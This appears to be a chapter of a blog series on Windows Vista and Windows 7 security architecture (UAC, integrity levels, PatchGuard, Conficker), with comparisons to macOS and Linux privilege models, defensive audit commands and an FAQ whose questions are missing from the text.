The auto-elevate whitelist is the surface Leo Davidson's December 2009 essay (sysprep.exe loading CRYPTBASE.dll from %SystemRoot%\System32 after a bind directory redirection) attacked first, and the UACMe catalogue on GitHub maintained an ongoing inventory of roughly 70 distinct UAC-bypass techniques over the following decade. The exact count grows over time -- the GitHub repository is the authoritative reference -- and the order-of-magnitude figure should be read as engineering-folklore shorthand rather than as instrumented telemetry. See the Adminless companion post for the full bypass-technique history and for the 2024 to 2026 Administrator Protection redesign.

AppLocker arrived in Windows 7, replacing the Software Restriction Policies of Windows XP and Server 2003 with a richer rule-collection model: executable rules, MSI rules, script rules, packaged-app rules, and DLL rules, each authorable by path, file hash, or publisher [@s-msft-applocker-overview]. DirectAccess shipped as a pre-VPN seamless remote-access protocol -- ahead of its time and not widely deployed. The reason it was ahead of its time and the reason it failed to deploy widely were the same: DirectAccess required native IPv6 connectivity (with Teredo or 6to4 tunneling as the fallback for IPv4-only networks) and per-machine certificate enrollment for every endpoint and gateway, and in the 2009-to-2014 window most enterprises ran neither IPv6 nor a mature PKI, so the prerequisite stack alone disqualified the protocol from broad rollout.

Microsoft's application-control feature, first shipped in Windows 7 (and Server 2008 R2). AppLocker supersedes Software Restriction Policies with a rule-collection model spanning executables, MSIs, scripts, packaged apps, and DLLs, with each rule authorable by path, file hash, or publisher (Authenticode-signed publisher and product) [@s-msft-applocker-overview].

Vista feature	Windows 7 change	What the change cost or enabled
UAC	Four-level slider; auto-elevate whitelist for signed MS binaries	Less prompt fatigue; new bypass surface via whitelist abuse
MIC + UIPI	Unchanged	--
ASLR + DEP	Loader and policy refinements	Slightly more user-image coverage; not yet mandatory
PatchGuard + KMCS	Unchanged on x64	--
Service Hardening	Coverage extended to additional service hosts	Smaller residual blast radius
Windows Resource Protection	Unchanged	--
Windows Filtering Platform	Refinements for VPN providers	Cleaner third-party integration
BitLocker	BitLocker To Go for removable drives	Encrypted USB sticks become practical
Security Center	Reborn as Action Center	Aggregated maintenance + security surface
(new) AppLocker	Replaces Software Restriction Policies	Richer application control for enterprises

The argument is the obvious one. Windows 7's reception was broadly positive and Vista's reception was broadly negative running on substantially the same security architecture. This is the article's evidence that "user-hostile integration of a correct architecture" is a distinct failure mode from "wrong architecture," and that the integration tax is payable -- if the work is done.

Note: The Vista-era integrity-level architecture is still load-bearing on Windows 11. Every modern sandbox -- browser tab process, AppContainer for a UWP app, the Office Protected View host, the Windows Defender Application Guard container -- builds on the MIC primitive Vista shipped in January 2007. If you maintain a Windows desktop fleet, treat UAC, MIC, and per-service SIDs as the foundational defenses they are, not as legacy artifacts. Companion posts: Adminless on the integrity-level-stack arc through Administrator Protection, and Process Mitigation Policies on the post-era process-mitigations layer.

If Windows 7 proved the architecture, the era's two structural limits proved how much was left to do. The next chapter is humility.

9. Three Operating Systems, Three Answers

Microsoft was not the only operating-system vendor trying to answer the privilege-model question in this window. The same years that produced UAC produced Mac OS X 10.5 Leopard's sandbox and mainlined SELinux on Linux. Each answered the question "which operations get the elevation primitive interposed on them?" with a different default.

macOS 10.5 Leopard, October 2007

Apple shipped Leopard's "seatbelt" sandbox in October 2007, built on Robert Watson's TrustedBSD MAC framework -- the same FreeBSD-derived Mandatory Access Control plumbing that becomes App Sandbox in OS X 10.7 (Lion, 2011) and the sandbox primitive every signed Mac App Store application now runs inside. The sandbox profile language is a Scheme dialect (SBPL); a representative four-line profile reads:

(version 1)
(deny default)
(allow file-read* (subpath "/usr/lib"))
(allow network-outbound (remote tcp "*:443"))

Apple's authopen and Authorization Services APIs are closer to per-operation elevation than Vista's per-process-token model. A typical Authorization Services flow elevates a single file-modification operation -- the canonical example is editing /private/etc/hosts:

authopen -w /private/etc/hosts

The macOS model is "the user is prompted at the moment of the protected operation, the elevation is scoped to that operation, and the rest of the process continues at the user's normal privileges." Vista's model is "the user is prompted at the moment a process needs the high token, the full token is released to the entire process, and the rest of the user session continues under the filtered token."

Linux: SELinux, AppArmor, and sudo

SELinux (originally developed by the U.S. National Security Agency, released to the open-source community in December 2000, mainlined in Linux 2.6.0 in December 2003, and championed downstream by Red Hat in RHEL 4 from February 2005 onwards) is the most thoroughly developed example of Type Enforcement on a mainstream OS. The policy language uses Access Vector rules with security labels:

allow httpd_t httpd_content_t : file { read getattr open };

The semantics are explicit: a process in domain httpd_t may perform read, getattr, and open on a file with label httpd_content_t. The labels travel with the file (extended attributes on disk) and the rules live in a single compiled policy. The model is label-based MAC.

AppArmor (Immunix, then Novell, mainlined in Linux 2.6.36 on October 20, 2010 [@s-linux-2-6-36-kernelnewbies]) takes the opposite philosophical position. A profile is a list of path-based rules:

/usr/sbin/dnsmasq {
  /etc/dnsmasq.conf r,
  /var/lib/misc/dnsmasq.leases rw,
  network inet dgram,
}

The model is path-based MAC: rules apply to filesystem paths rather than to inode labels. sudo persists across both as the practical per-operation elevation primitive, and most production Linux deployments use a mix.

The SELinux-vs-AppArmor distinction is a real architectural disagreement, not a stylistic preference. Label-based MAC ties policy to the data (extended attributes follow the file) but requires that every filesystem operation preserve the labels and that the labels start correct. Path-based MAC ties policy to the file path (a path is a profile lookup key) but means the same data accessed through two different paths can get two different policy verdicts. Both forms ship in mainstream Linux distributions in 2026; the choice is usually a function of which distribution's tooling you started with.

AppArmor's mainline Linux merge is Linux 2.6.36, October 20, 2010 [@s-linux-2-6-36-kernelnewbies]. Upstream secondary references occasionally date the mainline merge to 2009, which is wrong -- 2009 was the announcement-of-intent year; the actual git merge into Linus's tree is October 20, 2010.

Three OSes, three privilege models

OS / year	Primitive	Granularity	Policy authoring	Origin lineage
Vista UAC + MIC + UIPI (Jan 2007)	Per-process token, integrity-level SID	Per-process	Manifest + UAC consent + ACL/MIC ACE	Cutler-era NT access tokens + new MIC layer
Leopard sandbox + Authorization Services (Oct 2007)	Per-operation profile + per-operation auth	Per-operation	SBPL Scheme profile + `authopen` call	TrustedBSD MAC framework
Linux SELinux / AppArmor + sudo (2003 / 2010 / forever)	MAC domain rules + path/label policies	Per-operation via MAC + per-command via sudo	AV rules / profiles / sudoers	NSA / Immunix / BSD-flavour `sudo`

The point is not which model is "better." Vista's UAC is structurally closer to sudo than its critics admitted -- the difference is that sudo is invoked explicitly by the user from a shell, while UAC interposes on operations the user expected to just work. The contrast is about which operations the platform forces through the elevation primitive, and operating systems that pick different answers end up with different reception narratives even when the underlying mechanisms are similar.

If the privilege model is choosable -- if reasonable operating systems pick different answers -- what are the structural limits NONE of the three could escape? That is the next chapter.

10. Theoretical Limits and Era-Specific Lessons

Four structural limits the era revealed. Three of the four were proved in the literature; one was proved by Conficker. None of the four were closed by 2009. Two are closed today; two are not.

Limit 1: The same-privilege paradox

PatchGuard runs at ring 0. Rootkits run at ring 0. PatchGuard is therefore fundamentally bypassable from a sufficiently privileged attacker -- and skape and Skywing's December 1, 2005 Uninformed paper demonstrated three concrete bypass technique classes against the v1 implementation [@s-skape-skywing-patchguard]. PatchGuard v2 (Vista RTM) and v3 (Vista SP1) patched the specific v1 bypasses but could not address the structural issue. The genuine architectural fix waits for Hypervisor-Protected Code Integrity in Windows 10 Anniversary Update (August 2016) and for the VBS, Pluton, and Secured-core PC architectures of Windows 11. All out of era. Part 4 of this series traces them.

Limit 2: The deployment-velocity ceiling (the Conficker bound)

Aggregate installed-base security is bounded by patch-to-field-deployment latency on the slowest cohort, not by patch-release latency. Conficker's 9-to-15-million infections in early 2009 exploited a vulnerability that had been patched for one to four months across the variants [@s-cwg-lessons-learned-2019].

This is the era-closing operational lesson. It motivates Automatic Updates becoming opt-out-by-default (XP SP2, 2004), the mature Patch Tuesday cadence, and -- much later -- the Windows-as-a-Service cumulative-update model of Windows 10 that removes the user's ability to decline updates indefinitely. All-cohort closure remains structurally unattainable as of 2026; this is the era's defining residual.

The structural upper bound on aggregate installed-base security set by patch-to-field-deployment latency on the slowest cohort of machines. A vulnerability becomes safe at population scale only when the patch has propagated to every reachable system, and the slowest cohort's propagation rate dominates the aggregate. Conficker proved that on-by-default architectural mitigations on Vista did not raise the ceiling for the XP and Server 2003 installed base; only patch propagation could. The post-era architectural response is the Windows 10 cumulative-update model.

Limit 3: The compatibility tax on defaults

Every Vista security default that broke an application became a UAC bypass surface (the auto-elevate whitelist), a driver-signing escape hatch (test-signing), or a compatibility shim (DEP OptIn). Defaults that cannot break shipping software cannot be tightened. This is the era's productive failure mode -- it explains why post-Vista security features ship with deprecation runways: mandatory ASLR took until Windows 10 to fully land, mandatory KMCS on x86 never landed at all, and Driver Signature Enforcement on x64 had to coexist with the test-signing escape hatch for the foreseeable future.

Limit 4: The user-hostility tax on correct architecture

UAC was architecturally correct and operationally hated. The Mojave Experiment (July 2008) is the era's confession that the perceptual layer matters as much as the architectural layer. Windows 7's smoothing is the article's evidence that the tax can be paid, if the work is done -- but it has to be paid every time, because the perceptual layer is not learned-once. Windows 8's Modern UI, Windows 11's UAC behaviour adjustments, and the 2024-to-2026 Administrator Protection redesign are all replays of the same question on different sets of users.

Key idea: The era's binding constraints were not the UI. They were architectural -- you cannot defend ring 0 from ring 0, and skape and Skywing proved this in December 2005 -- and operational -- you cannot patch the slowest cohort faster than the worm cadence, and Conficker proved this in late November 2008. The prompt was the symptom. The constraints were the disease. Both were unsolved when Windows 7 shipped.

The Conficker Working Group's June 2010 post-mortem named the binding constraint directly: it is not whether a patch exists, but whether deployment reaches the slowest cohort before the worm does [@s-cwg-lessons-learned-2019].

Era limit	Era-end state (Oct 2009)	2026 state	Forward link
Same-privilege paradox	OPEN	CLOSED for kernel integrity via HVCI / VBS / Pluton	Part 4
Deployment-velocity ceiling	OPEN	NARROWED via Windows-as-a-Service cumulative updates	Part 3
Compatibility tax on defaults	OPEN (per-feature deprecation runways)	OPEN; managed via mitigation slow-ramp deployment	Part 3, Part 4
User-hostility tax on correct architecture	OPEN (Windows 7 smoothed Vista)	RECURRING (re-paid each major release)	Part 6

If the era closed with two structural limits unsolved, what stayed open for the next decade to answer?

11. Open Problems at the End of the Era

Stand at an engineer's desk on Friday, October 23, 2009 -- the day after Windows 7 GA. The previous twelve months had shipped a polished consumer OS, contained Conficker (mostly), and formed an industry-coordination body for the next worm. What does the agenda look like on Monday?

Q1: How do you make the patching cadence faster than the worm cadence?

The era-end answer was a mature Patch Tuesday cadence plus the Microsoft Active Protections Program (MAPP, which gave AV vendors early access to patch details) plus Automatic Updates default-on, but the slowest-cohort lag remained. The post-era answer is the cumulative-update and Windows-as-a-Service model of Windows 10 (July 2015) plus enterprise WSUS scale-out plus the out-of-band cadence the era proved was sometimes necessary. The in-era out-of-band releases were three: the bulletin commonly cited from January 2006 patching the Windows Metafile vulnerability (MS06-001) [@s-msft-ms06-001], the April 2007 out-of-band patching the animated-cursor (.ANI) GDI parsing vulnerability (MS07-017) [@s-msft-ms07-017], and MS08-067 [@s-ms08-067].

The April 2004 LSASS bulletin (the patch that preceded Sasser) was a regular Patch Tuesday release on April 13, 2004 [@s-msft-ms04-011], not an out-of-band release. The in-era out-of-band Microsoft Security Bulletins for wormable-class or actively-exploited-class RCEs are three: the January 2006 Windows Metafile bulletin (MS06-001) [@s-msft-ms06-001], the April 3, 2007 animated-cursor (.ANI) GDI bulletin (MS07-017, patching CVE-2007-0038, which was being actively exploited via drive-by web pages) [@s-msft-ms07-017], and MS08-067 in October 2008 [@s-ms08-067]. The May 8, 2007 Windows DNS RPC RCE bulletin (MS07-029) is sometimes misremembered as an out-of-band release; it shipped on the regular Patch Tuesday cadence [@s-msft-secupdates-index].

The architectural shift the era did not make is the one Windows 10 made: removing the user's ability to indefinitely decline updates on consumer machines. This was politically impossible in 2009 and remains contested in 2026; deferred to Part 3.

Q2: How do you protect kernel integrity from kernel-level attackers?

Era-end answer: PatchGuard runs at the same ring as the attacker; structural bypassability remains. Post-era answer: Hypervisor-Protected Code Integrity in Windows 10 Anniversary Update (August 2016); Virtualization-Based Security and Credential Guard; the Microsoft Vulnerable Driver Block list (2020 onward) for the BYOVD afterlife. Deferred to Part 4.

Q3: How do you separate trust principals more finely than user accounts and integrity levels?

Era-end answer: MIC offered five integrity levels; the granularity is per-process, not per-capability. Post-era answer: AppContainer (Windows 8, which introduces capability SIDs inside a LowBox token so a process can be denied or granted individual platform capabilities such as internetClient independently of its user account); the Modern Apps and Universal Windows Platform manifest-permission model (declarative capability gating at app install time, with the manifest itself authored alongside the app and reviewed at Store submission); and the Windows Subsystem for Linux and Android trust-isolation architectures (per-distribution and per-app isolation contracts that scope filesystem, network, and IPC access to a single guest OS instance). The integrity-level primitive remains the substrate every one of these builds on. Deferred to Part 3 and Part 4.

Q4: How do you ship a security architecture without breaking the user experience?

Era-end answer: Windows 7's polish proves it can be done for one release. Post-era answer: it recurred with Windows 8's Modern UI debacle, the Windows 11 UAC behaviour adjustments, and the 2024 to 2026 Administrator Protection rollout that finally promotes UAC to a security-boundary classification -- traced in the Adminless companion post. The question is recurring -- it is solved per-release, not in principle.

Part 3 picks up the morning after Windows 7 GA with Stuxnet, Operation Aurora, the Enhanced Mitigation Experience Toolkit, and the Process Mitigations era. Part 4 traces the VBS / HVCI / Pluton / Secured-core PC arc that closes the same-privilege paradox. Part 5 covers the credential-theft and Active Directory escalation era (Mimikatz, Pass-the-Hash, the Protected Users group, Credential Guard). Part 6 covers the Administrator Protection redesign and the long arc back to UAC as a security boundary. The shared spine of all five remaining articles is the integrity-level stack Vista shipped.

Four questions on the Monday whiteboard. Three of the four have answers in Parts 3 through 6 of this series. The fourth will outlast the operating system.

12. Reading 2002 to 2008 Windows Documentation in 2026

If you inherit a Vista- or Server 2008-era environment in 2026, or maintain a kernel driver whose support matrix still includes the Vista lineage, or pick up Russinovich, Solomon, and Ionescu's Windows Internals, 5th edition [@s-windows-internals-5e] off the shelf, what should you know that the documentation will not tell you directly?

Reading a `whoami /groups /priv` output on a Vista-or-later machine

The split-token model means the elevated and unelevated tokens differ in their group memberships and privilege lists, not in a single flag. The integrity-level SID line -- Mandatory Label\Medium Mandatory Level or Mandatory Label\High Mandatory Level -- is the right place to look first. Practitioner tip: if the integrity label says High and the privilege list shows SeLoadDriverPrivilege enabled, the token is elevated. If the integrity label says Medium and the privilege list lacks SeBackupPrivilege and SeTakeOwnershipPrivilege, the token is filtered. The Microsoft Learn windows/win32/secauthz/mandatory-integrity-control page is the canonical integrity-level reference [@s-msft-mic-win32].

Reading a Security event-log entry from this era

The Event ID schema changed between XP (5xx range) and Vista (4xxx range); a Vista Event 4624 logon-success entry is not the same as an XP Event 528. The Microsoft Learn windows-security/threat-protection/auditing/ index is the canonical reference for Vista-and-later events. The closest thing to a canonical XP-to-Vista mapping table that Microsoft still publishes is the Appendix L: Events to Monitor page in the Windows Server / Active Directory documentation, whose "Current Windows Event ID" and "Legacy Windows Event ID" columns map post-Vista 4xxx-range identifiers back to their pre-Vista 5xx-range equivalents -- for example, 4624 successful logon mapping to 528/540, 4625 failed logon mapping to 529-537/539, 4634 logoff (kernel-generated when the logon session is destroyed) mapping to 538, 4647 user-initiated logoff mapping to 551, and 1102 audit log cleared mapping to 517 -- for practitioners inheriting mixed XP-and-Vista log estates [@s-msft-events-to-monitor]. Old documentation that uses the 5xx-range numbering is talking about XP and Server 2003.

Reading the MS-bulletin archive

The original microsoft.com/technet/security/bulletin/MS08-067.mspx URL scheme has migrated twice. The current canonical form is learn.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067 [@s-ms08-067]. The parent landing URL learn.microsoft.com/en-us/security-updates/ is the working index [@s-msft-secupdates-index]; the legacy /securitybulletins/ URL returns HTTP 404 in 2026 and is one of the reasons cross-references in older books need patient redirection.

Identifying an era-shaped misconfiguration in a modern audit

Three worked examples readers can run on a Windows 10 or 11 fleet today.

A service running as LocalSystem instead of as its per-service SID. The service inventory in sc.exe qc output or Get-Service | ForEach-Object queries should show NT SERVICE\<servicename> in the principal column for any post-Vista service; if it shows LocalSystem, the service is either pre-Vista in its configuration or has been deliberately escalated. Either case warrants explanation.
An unsigned third-party kernel driver loading via the test-signing escape hatch (bcdedit /set testsigning on). Test-signing should never be enabled on production machines; the desktop watermark exists exactly to make this visible. The audit query is bcdedit /enum {current} | findstr testsigning from an elevated prompt.
A BitLocker volume without TPM+PIN protection on a system whose threat model includes physical access. TPM-only mode is vulnerable to the cold-boot attack documented in Halderman et al., USENIX Security 2008 [@s-halderman-coldboot-jhalderm]. The query is manage-bde -protectors -get C: from an elevated prompt; the output should list a numerical password recovery key plus a TPM+PIN protector for any laptop that leaves the office.

Note: bcdedit /set testsigning on is documented for driver development. It is not appropriate for production systems. A production machine with test-signing enabled accepts kernel drivers signed by certificates the system does not normally trust -- exactly the rootkit-installation path Vista x64's mandatory KMCS was designed to close [@s-msft-driver-signing]. Audit for the watermark and for the bcdedit value; if either is present on a server or end-user machine, treat it as a finding.

The reading list

Note: Parts 3 through 6 of this series each pick up where this one ends: - Part 3: Stuxnet, Operation Aurora, the Enhanced Mitigation Experience Toolkit, the cumulative-update model - Part 4: VBS, HVCI, Pluton, Secured-core PC, the closure of the same-privilege paradox - Part 5: Credential theft, Mimikatz, Pass-the-Hash, Credential Guard - Part 6: Administrator Protection and the long arc back to UAC as a security boundary Companion posts: Windows Access Control: 25 Years of Attacks, Adminless, BitLocker on Windows, Beyond BitLocker, Process Mitigation Policies.

Given the line `Mandatory Label\Medium Mandatory Level Label S-1-16-8192` and a privilege list that includes `SeShutdownPrivilege Enabled`, `SeChangeNotifyPrivilege Enabled`, `SeUndockPrivilege Enabled`, `SeTimeZonePrivilege Enabled` -- and that does NOT include `SeLoadDriverPrivilege`, `SeBackupPrivilege`, `SeTakeOwnershipPrivilege`, or `SeDebugPrivilege` -- the token is the filtered standard-user token. The user is an administrator interactively logged on, but the running shell is operating with the filtered token. To verify, open an elevated PowerShell from the same session and re-run `whoami /groups /priv`: the integrity label will read `High Mandatory Level`, the SID will be `S-1-16-12288`, and the elevated privilege set will be present.

The era is closed. The architecture is not.

13. Frequently Asked Questions

Eight common misconceptions about the era, each anchored to a corrected primary source.

No. PatchGuard shipped first in Windows XP Professional x64 Edition and Windows Server 2003 x64 Edition in April 2005 -- twenty months before Vista RTM. Vista x64 inherited PatchGuard v2; Vista SP1 shipped v3. The cite-ready primary is Microsoft Security Advisory 932596, which states explicitly that PatchGuard is "included with x64-based Windows operating systems" and reads back through XP x64 and Server 2003 x64 [@s-msft-adv-932596]. x86 editions of Vista never received PatchGuard at all. No. MS08-067 was patched out-of-band on October 23, 2008 [@s-ms08-067]. Conficker.A was first detected in late November 2008, anchored to November 20, 2008 in SRI International's technical analysis [@s-sri-conficker-c-addendum]. The first in-the-wild MS08-067 exploitation in October 2008 was Gimmiv.A, a narrower non-self-propagating Trojan, per the NVD CVE-2008-4250 entry -- not Conficker [@s-nvd-cve-2008-4250]. The patch-to-weaponisation gap is approximately twenty-nine days and is the article's load-bearing thesis evidence. No. The HTML-comment Mark-of-the-Web (``) shipped in Internet Explorer 6 Service Pack 1 in 2002. The Attachment Execution Service, two years later in XP SP2, is the system-wide enforcement substrate of the `Zone.Identifier` NTFS Alternate Data Stream -- the persistent file-system anchor that downstream tools (Office Protected View, SmartScreen, Microsoft Defender Application Control) consult to gate execution [@s-msft-iattachmentexecute]. Substrate, not ancestor. No. Russinovich's June 2007 *TechNet Magazine* article states explicitly that "elevations were introduced as a convenience" and that this very fact "prevents OTS elevations from being a security boundary" [@s-russinovich-uac-technet]. The chronologically first published Microsoft-principal record of the same disclaimer is the February 12, 2007 Mark's Blog post that anchors the multi-part TechNet blog series on the restricted-token / integrity-level discussion [@s-russinovich-psexec-blog]. The boundary classification arrives with Administrator Protection in the 2024 to 2026 Windows 11 era; see the [Adminless](/blog/adminless-how-windows-finally-made-elevation-a-security-boun/) companion post. No. Vista's ASLR was opt-in for user code via the `/DYNAMICBASE` linker flag; only system images and `/DYNAMICBASE`-linked binaries were randomised. Full mandatory ASLR for all images is a later-Windows feature -- Force ASLR in EMET and Windows 8, mandatory in Windows 10. The Shacham et al. CCS 2004 paper had already established the brute-force bound: with $n$ bits of entropy, an attacker needs expected $2^{n-1}$ attempts against a process that respawns after crash [@s-shacham-asrandom-ccs2004]; on x86 Vista's 8 bits this is roughly 128 attempts, which is why x64 ASLR (qualitatively more entropy) was the more durable defense. No. BitLocker shipped in Windows Vista Enterprise and Ultimate editions only, plus Windows Server 2008. Most Vista consumers ran Home Basic or Home Premium and got no BitLocker at all. The cipher in Vista was AES-CBC with Niels Ferguson's Elephant Diffuser, documented in his August 2006 Microsoft whitepaper [@s-ferguson-bitlocker]; later Windows releases moved to AES-XTS. The SKU limitation materially limited deployment reach for the era. No. KMCS foreclosed the dominant 2003-era unsigned-driver installation path catalogued in Hoglund and Butler [@s-hoglund-butler-rootkits] but did not address the signed-driver-with-vulnerability case. The "Bring Your Own Vulnerable Driver" afterlife became the dominant rootkit-loading path from approximately 2010 onward. Architectural closure waits for the Microsoft Vulnerable Driver Block list (Windows 10 and 11) -- post-era; Part 4 [@s-msft-driver-signing]. Windows ME and Windows 8 have competing claims. The honest framing is that Vista was one of the most poorly received Windows consumer releases of its era, and that the reception was uniquely consequential because the SP1-era enterprise inertia, the consumer-skipping that produced a large XP-to-7 leap, and the marketing problem Windows 7's launch had to solve all compounded each other. The substantive argument of this article -- that Vista's architecture was correct and Vista's integration was not, and that Windows 7 proved the integration tax is payable -- does not depend on the cross-history superlative.

Below the FAQ, a final pointer: this is Part 2 of six. Part 3 picks up the morning after Windows 7 GA with Stuxnet, Operation Aurora, the Enhanced Mitigation Experience Toolkit, and the process-mitigations era. The integrity-level stack Vista shipped in January 2007 is what every Part from here forward is built on top of.